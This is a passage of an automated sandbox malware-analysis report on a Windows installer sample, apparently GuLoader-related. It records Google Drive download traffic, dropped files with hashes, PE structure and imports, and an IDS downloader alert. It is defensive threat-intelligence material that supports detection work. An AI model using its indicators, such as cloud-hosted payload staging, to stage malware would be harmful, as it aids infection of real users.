https://apis.google.com	nRNzqQOQwk.exe, 00000001.00000003.14195151062.00000000067FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/(	nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ocsp.quovadisoffshore.com0	nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916833797.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845952675.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845828650.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/e	nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive.google.com/a	nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
142.250.190.110	drive.google.com	United States		15169	GOOGLEUS	false
142.250.190.97	drive.usercontent.google.com	United States		15169	GOOGLEUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587595
Start date and time:	2025-01-10 15:28:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	nRNzqQOQwk.exe
Detection:	MAL
Classification:	mal72.troj.evad.winEXE@3/7@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 77% Number of executed functions: 40 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): WerFault.exe, svchost.exe
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	You7ynHizy.exe	Get hash	malicious	GuLoader	Browse	142.250.190.97 142.250.190.110
	Xjz8dblHDe.exe	Get hash	malicious	GuLoader	Browse	142.250.190.97 142.250.190.110
	zrNcqxZRSM.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	142.250.190.97 142.250.190.110
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	142.250.190.97 142.250.190.110
	gem1.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	142.250.190.97 142.250.190.110
	FIWszl1A8l.exe	Get hash	malicious	GhostRat	Browse	142.250.190.97 142.250.190.110
	2873466535874-68348745.02.exe	Get hash	malicious	Unknown	Browse	142.250.190.97 142.250.190.110
	n41dQbiw1Y.exe	Get hash	malicious	Babuk, Djvu	Browse	142.250.190.97 142.250.190.110
	stage3.exe	Get hash	malicious	CobaltStrike	Browse	142.250.190.97 142.250.190.110

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll	ODjwCjQBAP.exe	Get hash	malicious	GuLoader	Browse
	ODjwCjQBAP.exe	Get hash	malicious	GuLoader	Browse
	Anfrage.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage_244384.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage_244384.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage244384.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage244384.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Anfrage_244384.exe	Get hash	malicious	FormBook, GuLoader	Browse
	5112024976.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Program Files (x86)\Fljtenists.ini

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	34
Entropy (8bit):	4.35937791471612
Encrypted:	false
SSDEEP:	3:oMXADiGWkon:xnGWn
MD5:	5BAD417385FA63549574090876DC680D
SHA1:	84E00066DC079E657BE9AF39E2C9E4EC42F5E527
SHA-256:	8B8CCA2780BD72F608E87BAEC979BBB17706AEFEB8D9F603E53AE144ECFAB71D
SHA-512:	EA709BAB31CFAAB4979617C4D1DFF414387F6988BE9F67E70BF7F941A9E7EA4C36CF320CE2518AE0DD9171DF5C46BE85D86D3F6031059A3CB3E79FD58E3F14E2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[Omniregent]..promovable=bugspyt..

C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.7711167426271945
Encrypted:	false
SSDEEP:	192:OPtkumJX7zB22kGwfy0mtVgkCPOsX1un:/702k5qpdsXQn
MD5:	3F176D1EE13B0D7D6BD92E1C7A0B9BAE
SHA1:	FE582246792774C2C9DD15639FFA0ACA90D6FD0B
SHA-256:	FA4AB1D6F79FD677433A31ADA7806373A789D34328DA46CCB0449BBF347BD73E
SHA-512:	0A69124819B7568D0DEA4E9E85CE8FE61C7BA697C934E3A95E2DCFB9F252B1D9DA7FAF8774B6E8EFD614885507ACC94987733EBA09A2F5E7098B774DFC8524B6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: ODjwCjQBAP.exe, Detection: malicious, Browse Filename: ODjwCjQBAP.exe, Detection: malicious, Browse Filename: Anfrage.exe, Detection: malicious, Browse Filename: Anfrage_244384.exe, Detection: malicious, Browse Filename: Anfrage_244384.exe, Detection: malicious, Browse Filename: Anfrage244384.exe, Detection: malicious, Browse Filename: Anfrage244384.exe, Detection: malicious, Browse Filename: Anfrage_244384.exe, Detection: malicious, Browse Filename: 5112024976.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L.....MX...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\slavelivets\Frimenigheders.Lin

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	457262
Entropy (8bit):	2.660957868808711
Encrypted:	false
SSDEEP:	3072:D/3hlxuinGt/VhqT1iOn8lRgQ69dV1Vbx:7oig/VYRJz9Xt
MD5:	CDE198D8ADD807141052775916060A46
SHA1:	BA64728F6A13AEE536B9EF46484A7938F52D9272
SHA-256:	C9BBC92FD69037DCCF745A1ECC71F4BCE8867E41CD9D2DCDB8332587A1A147B6
SHA-512:	898011AB3D1BAA68E702091C465F2BB1EBD172475CE73439A9BB8B205E68ABAFAE71776445BC7DC87227F9E0E80A04272944962C95CAE415786C252DEE256041
Malicious:	false
Reputation:	low
Preview:	00E100005252525200000000000000F00031313100AE0000005600FF00000000000000EAEAEAEAEAEA006300000000004E0056565656565656000000F2F2F2F200E6E6E60000DDDD00828200000000C600E5E50000DEDE0013131300AC00000000A9A900004900000000242424001313130038001F000075757575757500BE00004B4B4B0000080800004200005F00000000EFEF00F300006A005E004141000010101010004F4F0000CA0056560000272727005800290000000000000000000A00002A000065650085000000550000000000D0D0001B00008686005B00CA00000000003C3C00BA005700009C9C00898900008383005400CACACA0000AC00F100DDDD00E200FB0000007700110000000086860000000000000000ADADAD001A1A00D8D80000353535009A9A000000878700F8004141000000D0D0D000000000D900292929290000FBFB0006060600D00000535300F1F10000B000A6A6A600006C6C6C6C0029290000000000ADAD00B7B70000C300000000A2000000626262005E0000000000AAAAAA0000000042000000AAAA00002C002600D4D4000000101000002D005700200000ADAD0000030000D4D400000000001E1E1E1E1E00002F2F2F2F2F2F00D3004646002F000000F5F5F5F5F500B3B3B3B300006600161616160000282828280000DBDBDBDBDBDB00BB0000D70081

C:\Users\user\slavelivets\Tonsillary252.Ban

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	data
Category:	dropped
Size (bytes):	193843
Entropy (8bit):	7.55628710093093
Encrypted:	false
SSDEEP:	3072:H39dlMnmxBSEy9gi65aaTlHepUWtyW8ImC/BN2WlIP7AKAKUHjjuXKc:X5SHWhTlHwhXNPTH2bUDjuac
MD5:	FFAC979D13A99BF107CED6B9BBA2B7E4
SHA1:	04E8B535A2B67D6CBAA54626492583D0DF1C9435
SHA-256:	482E699C60E1B448B9953352AB2840956AB56E9C5559B5C06CF4F48D5AF98781
SHA-512:	7DA199810F2A6B76FDA110D419EA35A424A0155DB814AA081F84F1C7CB0B9072E64D8B1A89F606D557A8B54AF8AC6395200F1CF281C28BC06101916C5285FFF3
Malicious:	false
Reputation:	low
Preview:	......nnn.....aaaa....4..............R.P.......]]].......s.........)).............VV.........SS.........................................;.../..55...........z.....&.............$.3...&.....JJ..).......%.......................................a...........7.........#####...........}}}......................ss.....\\\...................................................TT..p......j..........?...++............bb.....................A..........z...............K.....................:::........cc........).............e.........M............)))..........]..&&&.GGGGGG..%......III.....................hh.....l..........y............./......X....Z..j................88.........................c..........9............................#........aaaa...................z...... ..........w....#.v.................K.................jjjjj.....99......................vv........--........Y.......6.........................................L..........uu....................r..................K................W.d......

C:\Users\user\slavelivets\alsmekill.sta

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	data
Category:	dropped
Size (bytes):	339393
Entropy (8bit):	1.2543469977620876
Encrypted:	false
SSDEEP:	1536:JwpZQcXbJ+mf8ME8s+dg5Z90uGaXF9Pl7:W4cX8ncmxhGm
MD5:	F6A8488B1B62B7AC3B0979C8FBEABB30
SHA1:	9725896EBC26CCB2CB9060640B9E0D4A0618916F
SHA-256:	34DC9B70D0CE5223A531E499611F1208F3AE85AAEF9973FC27E89190568F8EE2
SHA-512:	88A719685D0972290632C6B5A665184E79A98BE22B76AF28F18056F2E7A721A0B2D3B4A8815BCE562426643E69F998F9E45F3CA62B3288EAAFB71FE89A23AD20
Malicious:	false
Preview:	..............................................o....D....................l.......k...................................._...2...........;..........................................0............................e......_....................}.......................,....4...................n.............T................j...z..........u.....#...................h............].............................................................................................................1......G...h.......g...3..(........................................................H......)...........o...................4.............^..................."....................$....................E..............................................................\|..........3.............1...........................S....................x..........................................................................................................................................................=..........................\|....

C:\Users\user\slavelivets\boat.ast

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	data
Category:	dropped
Size (bytes):	456047
Entropy (8bit):	1.2479728238915362
Encrypted:	false
SSDEEP:	768:WqBSYr/TzktUI9ql+6iD8iDu43pfrmQ+PHlyjwkZY51UG90JdfSDUsby4/FApmbO:I3TS9ymKhysrQEkRbwvL3xcbNyFN2Mv
MD5:	9911B32FE219697A738F39AE5766B512
SHA1:	DA67EBB043C778DEEA874E1C746483A2B65E533C
SHA-256:	1D3D52ECB41F725DC23080ACB1ACDFEDF29BB5F167DCB75F89AF837888421880
SHA-512:	FBF703CD56434BB14C6A1A34878F094BE183D9F638D0F34074F7EE4C9D12DB70A833679B496FCB1E4C6050C418A906221149AAC70035BCDA3C01D4272C0FE3E8
Malicious:	false
Preview:	.................................................z.................m.......L.......<.............................................................._.....y....._.........x.................................................................>............Q...........:e........................................................[.-.:....................................................A.....................................................................G................................+..............................z..........................................]...........................................................................................T.....&.}........G..............c...u.....................5......B....................................................................l................H..........................H.......................\|...........................m.............................................:...........(...............8..............................................g.....

C:\Users\user\slavelivets\rupis.txt

Download File

Process:	C:\Users\user\Desktop\nRNzqQOQwk.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	4.348758704403097
Encrypted:	false
SSDEEP:	6:4s/IdpH+oqGSUkJOlUjvMzJ7HxXEp6JN+qIN2CGZgw9n7FmNIb+:4skpesSUAOlSsJ7BEpg+H2XWwTmCq
MD5:	668A01D3AF55A42FBFDBB1E9DD730B59
SHA1:	E0949D489A15516B3CD09F1043543C38E3688F1A
SHA-256:	6A7FEEBFE1F4330E611E6E1B3804619D329A9D3ABD3A3ECBD9D441F884E9999D
SHA-512:	CF3F03583667362ADCEA4DEB094513B84D3E275EBCC42A993F9293B7374618A1BA060D4C4BAE446C02B329DDE2A4579C152F54A1F7537A0F83A3E88406509459
Malicious:	false
Preview:	vulcanizable zoanthidae raalam osullivan,phantasmic oxyluminescence fluidness pickin raadelig.muslimer broder encyclopaedically bessarabian bvt.skyggespillene shellfishes urmi fume panocha imago,troskabseder cypriotes thalassian,udvandringskontorers telfonmontrens bugtalende.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.306164693512133
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	nRNzqQOQwk.exe
File size:	616'800 bytes
MD5:	c616c105a117d63de2b4f818c8fdd3e0
SHA1:	fe7d7c8863a5f71e02b2b5b76e1a8f506b08dba7
SHA256:	a180642558a07876a9a047217ef75504a4fe7e1f02e22e1f19ffba8d33e6790a
SHA512:	71499f14196cfc6b3c2dd9d767ef3174083ff384fa642cb46086fdba4cfa5bb13d13f0f7491f1e3da55eab19c5b431f667c0851466241258840dcbd308b9fc1c
SSDEEP:	6144:GyI5s2239X0wH5ky98puy+AMRYEBx2fKIn4jmTYzCr/5/dwgEhWSdfoVLg6XLCLl:D22tHb8MRYEBxAnPTYzA/7wRhW906OLl
TLSH:	A0D4F183340558E0F4E20DB154BB8A6105BF9F7ABB95282FB3DC731614F225A4B3A7D6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@............/...........s.../...............+.......Rich............................PE..L.....MX.................`....9....

File Icon


Icon Hash:	8b1985c04404416d

Static PE Info

General

Entrypoint:	0x403180
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x584DCA1F [Sun Dec 11 21:50:23 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Congratulator Penetralia ", E=ida@Harpuneren9.Af, L=Wormsdorf, S=Sachsen-Anhalt, C=DE
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	24/06/2024 05:12:24 24/06/2027 05:12:24
Subject Chain	CN="Congratulator Penetralia ", E=ida@Harpuneren9.Af, L=Wormsdorf, S=Sachsen-Anhalt, C=DE
Version:	3
Thumbprint MD5:	5F1213D251D7C1248101800D2397AEFA
Thumbprint SHA-1:	A24C9A43698A21F20F2503099FDB0E547144AFA5
Thumbprint SHA-256:	46FA314984A20ACD8945B5BC70EC2590BB3B9E7A27C8EA9AE030A1512F819942
Serial:	79B8813DC1624EA9849722EC81B484F6FED3A8A4

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007FD4D08FF153h
push ebx
call 00007FD4D09020C1h
cmp eax, ebx
je 00007FD4D08FF149h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007FD4D090203Dh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007FD4D08FF12Dh
push ebp
push 00000009h
call 00007FD4D0902094h
push 00000007h
call 00007FD4D090208Dh
mov dword ptr [007A1F44h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [007A1FF8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0079D500h
call dword ptr [00407174h]
push 00409188h
push 007A1740h
call 00007FD4D0901CB7h
call dword ptr [0040709Ch]
mov ebp, 007A8000h
push eax
push ebp
call 00007FD4D0901CA5h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c3000	0x28340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x95610	0x1350	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e4a	0x6000	30c42419b2e69d0fb178ad82fde5a6a6	False	0.6707356770833334	data	6.461674766148295	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x399038	0x400	295703f29cbf0cc87537f54786ed1d01	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a3000	0x20000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c3000	0x28340	0x28400	0a923a42d1a39b5e7ff4cbf67045065c	False	0.21775524068322982	data	4.016272150271427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3c3358	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.1348337868212469
RT_ICON	0x3d3b80	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.24942190456169855
RT_ICON	0x3dd028	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.286090573012939
RT_ICON	0x3e24b0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.2502952290977799
RT_ICON	0x3e66d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.3522821576763486
RT_ICON	0x3e8c80	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.37828330206378985
RT_ICON	0x3e9d28	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.4668032786885246
RT_ICON	0x3ea6b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.5106382978723404
RT_DIALOG	0x3eab18	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3eac18	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3ead38	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3eae00	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3eae60	0x76	data	English	United States	0.7542372881355932
RT_VERSION	0x3eaed8	0x128	data	English	United States	0.6114864864864865
RT_MANIFEST	0x3eb000	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T15:32:07.968991+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49746	142.250.190.110	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 15:32:07.419624090 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.419711113 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.419909000 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.434173107 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.434201956 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.698482990 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.698707104 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.700031996 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.700305939 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.760894060 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.760953903 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.761853933 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.762027025 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.765291929 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.810287952 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.968946934 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.969659090 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.969659090 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.969717026 CET	443	49746	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:07.969842911 CET	443	49746	142.250.190.110	192.168.11.20
